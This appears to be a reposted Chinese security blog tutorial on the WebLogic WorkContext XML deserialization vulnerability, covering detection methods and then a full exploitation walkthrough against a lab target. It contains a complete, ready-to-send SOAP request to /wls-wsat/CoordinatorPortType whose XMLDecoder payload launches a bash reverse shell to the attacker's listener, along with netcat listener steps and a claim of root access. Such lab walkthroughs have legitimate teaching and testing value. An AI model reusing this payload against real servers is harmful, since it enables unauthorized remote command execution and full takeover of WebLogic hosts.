当前位置: 首页 > news >正文

【weblogic】XML反序列化漏洞

      序列化: 将程序中的一个对象(Object)的状态(如属性、值)转换成一种可以存储或传输的格式(如XML字符串、二进制流)的过程。

      反序列化: 是序列化的逆过程。将存储或传输的格式(如XML字符串)还原成一个内存中的活的对象(Object)的过程。

      XML反序列化: 特指使用XML格式(如SOAP、Web服务的常用协议)作为序列化数据格式的反序列化操作。

用Bp 向目标WebLogic服务器发送了一个精心构造的SOAP请求。这个请求的核心是利用WebLogic的WorkContext处理机制中的一个反序列化漏洞

第一段:黑盒测试方法

      在黑盒测试场景下,检测XML反序列化漏洞主要依赖于对应用程序通信流量的分析。测试人员首先需要拦截并检查所有的HTTP请求,重点关注那些使用XML作为数据主体的接口,例如基于SOAP的WebService或配置失当的REST API。随后,通过有策略地修改XML结构,例如插入某些无害的测试标签,可以观察服务器的响应是否出现异常行为或暴露出有价值的错误信息(如Java类名、框架标识等)。为了进一步验证,可以提交公开的、无害的测试Payload,例如触发一个时间延迟或一个外部的DNS查询,通过观察应用程序是否存在预期的延迟或网络外联行为来判断漏洞是否存在。此外,借助Burp Suite的专项扩展(如Freddy)或其它自动化扫描工具,可以系统性地辅助完成这一检测过程。

第二段:白盒测试方法

      在白盒测试场景下,代码审计是发现XML反序列化漏洞最直接有效的方法。安全人员可以直接在源代码中搜索危险的反序列化函数关键字,例如Java中的 XMLDecoder.readObject()、XStream库的 fromXML()或 .NET框架中的 XmlSerializer.Deserialize()。定位到这些关键函数后,审计的核心在于逆向追踪其输入参数的数据来源,仔细检查这些参数是否直接来源于用户可控的输入(如HTTP请求参数、Cookie、Header),或者是否在经过了不充分的校验后间接传递到了反序列化函数中。这种从代码层面进行的溯源分析,能够精准地识别出潜在的安全风险点

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.142.133:7001    #centos的ip和端口,也就是启动靶场环境的ip和端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.142.162/8888 0&gt;&amp;1</string>   #ip是kali的,开了8888监听端口的ip
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

repeter上放这段代码,然后修改ip,在kali上开启监听

开启网络监听器(Netcat),等待来自目标服务器的连接。

BP按发送

       response第一行,服务器返回了500 Internal Server Error。表明恶意载荷已经被服务器处理,并且很可能已经触发了漏洞,导致服务器尝试执行注入的命令

      说明已经成功入侵了服务器,并获得了最高权限(root),可以在上面执行任意命令(查看、修改、删除文件,安装软件,作为跳板攻击内网其他机器等)。

特别强调:安全人员授权测试

http://www.dtcms.com/a/564691.html

相关文章:

  • 20-控制流多次异步
  • Python Seaborn详解:让数据可视化更简单、更美观的利器
  • 基于c 的网站开发河北邢台路桥建设公司网站
  • VivaCut 4.4.0 | 专业的视频剪辑编辑制作工具,有非常多的特效,可替代剪映
  • CY5-α-酮戊二酸,(CY5-α-Ketoglutarate, CY5-α-KG)
  • Matlab模拟对流方程迎风格式验证
  • LeetCode 面试经典 150_二叉树_相同的树(68_100_C++_简单)(DFS)
  • LeetCode算法日记 - Day 91: 最长数对链
  • 潍坊哪个网站建设公司好wordpress刷新才显示
  • 在 Hive 中NULL的理解
  • 如何让UE5的插件Ultra Dynamic Sky的光照对齐真实时间?
  • 【问题解决】用pnpm创建的 Vue3项目找不到 .eslintrc.js文件 及 后续的eslint配置的解决办法
  • Kubernetes Pod 基本原理:全面详解
  • 有关于cnb自动化的脚本补全
  • Hive三大连接操作全解析
  • css3新增过渡
  • Hive 中的 COALESCE 函数作用
  • 网站建设内部下单流程图赣州的免费网站建设
  • 广东顺德网站建设instagram wordpress
  • Linux连接Doris:MySQL与Beeline指南
  • 【金仓数据库】ksql 指南(四) —— 创建与管理表(KingbaseES 数据存储核心)
  • Swift项目生成Framework流程以及与OC的区别
  • C++多线程同步与互斥
  • Python Jupyter Notebook 完全指南:从入门到精通
  • 站点查询wordpress 外贸网站
  • CSP集训错题集 第八周 主题:基础图论
  • 基于C语言 HTTP 服务器客户端的实验
  • 如何利用 Jupyter 从浏览器访问远程服务器
  • C语言基础知识点简单案例分享之二——C语言全知识点速查宝典
  • 怎么找网站局域网电脑做网站服务器